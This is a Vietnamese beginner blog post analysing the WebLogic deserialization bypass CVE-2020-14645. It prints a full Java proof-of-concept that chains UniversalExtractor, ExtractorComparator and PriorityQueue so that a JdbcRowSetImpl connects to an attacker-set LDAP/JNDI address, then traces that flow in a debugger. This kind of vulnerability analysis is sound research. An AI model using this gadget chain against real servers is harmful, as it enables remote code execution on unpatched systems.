I. Lời mở đầu
Tiếp tục với series tự học Java Deserializee của newbie, trong bài này tôi trình bày về CVE-2020-14645 của weblogic.
Giới thiệu sơ về đối tượng phân tích, CVE-2020-14645 là bypass của bản vá lỗi CVE-2020-2883. Trong bản patch lỗi CVE-2020-2883 sink MvelExtractor
và ReflectionExtractor
bị blacklisted, do đó cần tìm một extract class khác có malicious operations trong method.
Vì các patch lỗi CVE-2020-2883 là đưa hàm sink bị lỗi vào blacklist, nên chúng ta chỉ cần tìm ra 1 sink khác và sử dụng chain trước của CVE-2020-2883 để khai thác.
Từ đây, ta rút ra một nhận xét:
Cách mà weblogic fix các CVE là đưa các hàm sink vào blacklist.
Vậy, để tìm ra 1 CVE mới chỉ “đơn giản” là tìm cách bypass các hàm đã có hoặc tìm ra chain mới. Nhưng câu chuyện đó vẫn còn xa với tôi 🤭🤭🤭🤭🤭🤭
Quay lại với CVE này, ta sẽ xuất phát từ CVE-2020-14645. Cùng nhau phân tích, mổ xẻ để làm suy luận ra cách mà tác giả tìm thấy và hiểu tường tận lỗ hổng này. (Tất nhiên vì CVE này là bản bypass, nên chúng ta cần phải “tìm về cội nguồn” để hiểu rõ tường tận).
II. CVE-2020-14645
2.1 Chuẩn bị môi trường
Yeah, ban đầu, tạm chấp nhận chúng ta có mã khai thác POC. Bây giờ cùng phân tích mổ xẻ nó nào. Với Weblogic, chúng ta cần phải hiểu thêm về giao thức T3, RMI,… là những giao thức hỗ trợ về serialize và deserialize.
- Về bản chất thì payload serialize sẽ truyền lên webserver, thông qua giao thức trên để deserialize ra. Vì lí do kiến thức chưa đủ kiến thức về các protocol trên nên đoạn code mà tôi phân tích chỉ dùng
readObject()
để deserialize.
Môi trường để tiến hành debug như sau:
- jdk “1.8.0_121”
- WebLogic Server Version: 12.2.1.4.0
-
Mã khai thác phân tích:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
package CVE_2020_14645; import com.sun.rowset.JdbcRowSetImpl ; import com.tangosol.util.ValueExtractor ; import com.tangosol.util.comparator.ExtractorComparator ; import com.tangosol.util.extractor.ChainedExtractor ; import com.tangosol.util.extractor.UniversalExtractor ; import java.io.FileInputStream ; import java.io.FileOutputStream ; import java.io.ObjectInputStream ; import java.io.ObjectOutputStream ; import java.lang.reflect.Field ; import java.sql.SQLException ; import java.util.PriorityQueue ; public class cve_2020_14645 { public static void main(String[] args) throws Exception { // CVE_2020_14645 UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1); final ExtractorComparator comparator = new ExtractorComparator(extractor); JdbcRowSetImpl rowSet = new JdbcRowSetImpl(); rowSet.setDataSourceName("ldap://127.0.0.1:8082/glnikw"); final PriorityQueue < Object > queue = new PriorityQueue < Object > (2, comparator); Object[] q = new Object[] { rowSet, rowSet }; Field queue1 = queue.getClass().getDeclaredField("queue"); queue1.setAccessible(true); queue1.set(queue, q); Field queue2 = queue.getClass().getDeclaredField("size"); queue2.setAccessible(true); queue2.set(queue, 2); //serial ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser")); objectOutputStream.writeObject(queue); objectOutputStream.close(); //unserial ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("poc.ser")); objectInputStream.readObject(); objectInputStream.close(); } }
Lưu ý: Vì lỗ hổng tồn tại trong lib của Weblogic, nên ta cần phải import lib weblogic vào project. Trong trường hợp này, tôi export hết tất cả các lib trong weblogic ra vào import vào project.
- Đầu tiên, chúng ta có một đối tượng
UniversalExtractor
được khởi tạo với các tham số là"getDatabaseMetaData()"
,null
, và1
. Tiếp theo, chúng ta có một đối tượngExtractorComparator
được khởi tạo với đối tượngextractor
. - Sau đó, chúng ta tạo một đối tượng
JdbcRowSetImpl
, đặtdataSourceName
là"ldap://127.0.0.1:8082/khch4r"
. - Tiếp theo, chúng ta tạo một hàng đợi ưu tiên (
PriorityQueue
) được gọi làqueue
với số lượng tối đa là 2 và mộtcomparator
để so sánh các phần tử trong hàng đợi. - Sau đó, chúng ta khởi tạo một mảng đối tượng
q
chứa hai tham chiếu đếnrowSet
, và thiết lập lại các trường củaqueue
thông qua reflection để đặt mảngq
vào hàng đợi và đặt lại kích thước của hàng đợi là 2. Điều này giúp tạo ra một trạng thái không hợp lệ trongqueue
và sẽ gây ra lỗi khi tiến hành giải tuần tự hóa các phần tử trong hàng đợi sau đó. - Tiếp theo, chúng ta tiến hành serialize
queue
bằngObjectOutputStream
và ghi dữ liệu vào file"poc.ser"
. - Cuối cùng, chúng ta tiến hành deserialize
queue
từ file"poc.ser"
bằngObjectInputStream
và kì vọng payload sẽ được execute như hình
- Đầu tiên, chúng ta có một đối tượng
2.2 Debug
- Bắt đầu với hàm
objectInputStream.readObject();
-
Trong blog trước, tôi có trình bày về flow của
native readObject
, trong đó, tôi có nhấn mạnh 2 method:ObjectInputStream##readOrdinaryObject
vàMethod##invoke
có tác dụng điều hướng luồng thực thi. Ở đây, ta sẽ thấy:- Tại
ObjectInputStream##readOrdinaryObject
: hàmreadClassDesc()
tại dòng 1781 sẽ trả về class củaPriorityQueue
, truyền vào hàmreadSerialData()
tại dòng 1808
- Tại
Method##invoke
: cho thấy methodprivate void java.util.PriorityQueue.readObject(java.io.ObjectInputStream) throws java.io.IOException,java.lang.ClassNotFoundException
được gọi
-
Sau đó, chương trình sẽ chuyển hướng về
PriorityQueue##readObject
Tới đây, chúng ta sẽ thấy flow liên quan tới blog trước như sau:
- Tại
-
Mục tiêu của phần này chúng ta sẽ nghiên cứu tiếp flow từ PriorityQueue trở đi.
- Tiếp tục flow,
PriorityQueue##heapify
được gọi. Method này đảm bảo tính chất của cấu trúc dữ liệu (min heap hoặc max heap). Điều này có nghĩa method này sẽ thực hiện phép so sánh ở đâu đó.
- Hãy nhìn vào vòng for: để gọi được
siftDown()
thì giá trị ban đầu của i (int i = (size >>> 1) -1
) ≥ 0 (i = 0 thì siftDown() được gọi 1 lần). Tương đương với size ≥ 2 (vì size = 1 → i = -1). Do đó, chúng ta cần thiết lập PriorityQueue có ít nhất 2 phần tử để touch tới hàm này. Cách implement như sau:
|
|
- Tiếp tục đi vào hàm
PriorityQueue##siftDown
-
Có hai option ở đây khi comparator null và khác null. Theo như tôi nghiên cứu, thì đa số các exploit để dùng
comparator
khác null. Với CommonCollection2,4 thì dùngTransformingComparator
còn trong CVE này thì dùngExtractorComparator
. Để set giá trị comparator thànhExtractorComparator
như sau:1 2
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1); final ExtractorComparator comparator = new ExtractorComparator(extractor);
Khi extractor là
ExtractorComparator
, tại hàmsiftDownUsingComparator()
thìExtractorComparator##compare
được gọi
- Tới đây, hàm
ExtractorComparator##compare
được gọi
- Tại đây, dòng 36 là toán tử 3 ngôi. Vì o1 có kiểu là
JdbcRowSetImpl
nên câu lệnh(Comparable)this.m_extractor.extract(o1)
được thực thi. Mặt khác,this.m_extractor
có kiểu làUniversalExtractor
nênUniversalExtractor.extract()
được gọi.
- Tiếp tục flow, đi vào hàm
UniversalExtractor.extractComplex
tại dòng 75. HàmextractComplex
sẽ gọi methodmethod.invoke(oTarget, aoParam);
tại dòng 205 với target làJdbcRowSetImpl
và method làpublic java.sql.DatabaseMetaData com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() throws java.sql.SQLException
- Tiếp tục, chương trình sẽ đi vào
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
- Hàm
getDatabaseMetaData()
sẽ gọi phương thứcthis.connect()
- Trong hàm
connect
này, tại dòng 326, chương trình sẽ lấy địa chỉ server từ hàmthis.getDataSourceName()
và gửi request đến server để lấy dữ liệu về. Ta có thể set dataSource thành địa chỉ server của chúng ta như sau:
|
|
Bởi vì dataSource
này chúng ta có thể control và set thành địa chỉ server của chúng ta. Ở đây, tôi dùng bộ công cụ JNDI server để xây dựng LDAP server.
- Nên sau khi thực hiện dòng lệnh 326, payload của chúng ta sẽ được thực thi trên server
III Phân tích và mổ xẻ
- Chúng ta vừa đi qua flow của CVE-2020-14645. Khá đơn giản đúng không 😄😄😄😄😄. Tất nhiên là không rồi! Đây là giai đoạn tôi thích nhất khi phân tích CVE, đó là đặt câu hỏi. Mục tiêu chúng ta không chỉ dừng lại ở việc hiểu flow mà phải “tìm về cội nguồn”, đoán được mindset, cách làm của tác giả và áp dụng nó để giải quyết những vấn đề tương tự. Đó mới là “học”. Việc đặt câu hỏi sẽ giúp chúng ta có hứng thú và có hướng để nghiên cứu. Vì để trả lời câu hỏi A sẽ có hàng loạt câu hỏi B,C,D được đặt ra. Bằng cách làm như thế, kiến thức chúng ta đặt được sẽ hữu ích và không quá lý thuyết.
1. Tại sao lại là UniversalExtractor
- Nếu các bạn đã làm qua CommonCollection thì sẽ thấy chain này khá giống với CommonCollection4. Sự khác biệt ở bước chọn
comparator
(CommonCollection4 chọnTransformingComparator
còn CVE-2020-14645 chọnUniversalExtractor
) Một câu hỏi đặt ra:
Tại sao chọn
UniversalExtractor
? Có lý do đặc biệt gì không?
- Đừng quên rằng CVE-2020-14645 là bản bypass của
CVE-2020-2883
. Trong bản patch lỗi CVE-2020-2883 sinkMvelExtractor
vàReflectionExtractor
bị blacklisted, do đó cần tìm một extract class khác có malicious operations trong method. Dễ dàng suy luận ra,UniversalExtractor
có nguồn gốc từMvelExtractor
vàReflectionExtractor
.
Nếu vậy, liệu có class nào khác với
UniversalExtractor
nữa không?
- Để trả lời cho câu hỏi này, chúng ta cần phải biết được cách tìm ra
UniversalExtractor
, sau đó xem thử với cách làm này, liệu có thể tìm được class khác hay không? Liệu rằng đã hết class như vậy hay vẫn còn class nào đó mà các reseacher chưa tìm ra (tôi tin tưởng vào khả năng thứ 2 hơn).
2. Làm sao để tìm được UniversalExtractor
?
Nếu tôi là 1 người reproduce 1 day, làm sao để tìm được class UniversalExtractor này?
Chắc hẳn, các anh em security researcher khi nghe câu này, trong đầu sẽ vang lên hai chữ: diff-patch
. Trong flow phân tích ở phần II, nếu để ý, các bạn sẽ thấy tôi không đề cập đến hai phần rất quan trọng:
- T3 protocol - cách mà weblogic trigger như thế nào?
- Sau khi server gửi request đến JNDI server thì flow sau đó sẽ chạy như thế nào?
Đến thời điểm hiện tại, tôi chưa thể trả lời vì bị thiếu kiến thức nền. Tất nhiên, tôi sẽ tự fill và trả lời những câu hỏi này nếu muốn đi xa hơn (đây cũng là lí do tại sao tôi thích viết blog).
Dễ hiểu, bây giờ chúng ta cần đi nghiên cứu về cách diff-patch weblogic. Một điều khá thú vị và may mắn khi nghiên cứu ở CVE-2020-14645 đó là:
- CVE-2020-14645 là bypass của CVE-2020-2883
- CVE-2020-2883 là bypass của CVE-2020-2555.
Và CVE-2020-2555 là của anh Jang - một pro trong java deserialize. Trong blog của anh ấy có 1 bài đề cập về cách anh ấy tìm ra CVE-2020-2555 ở đây. Còn ngần ngại gì nữa, đọc và làm theo thôi! (còn tìm được hay không thì đó là câu chuyện khác 😂😂😂😂😂😂)
IV. Tổng kết
- Như đã đề cập, series này chỉ giành cho beginner. Do đó, blog này flow đơn giản chỉ là bạn có 1 POC và bạn trace theo, hiểu flow và cố gắng build lại POC.
- Trong blog tiếp theo, tôi sẽ nâng cấp flow nghiên cứu (từ debug build ngược lại POC)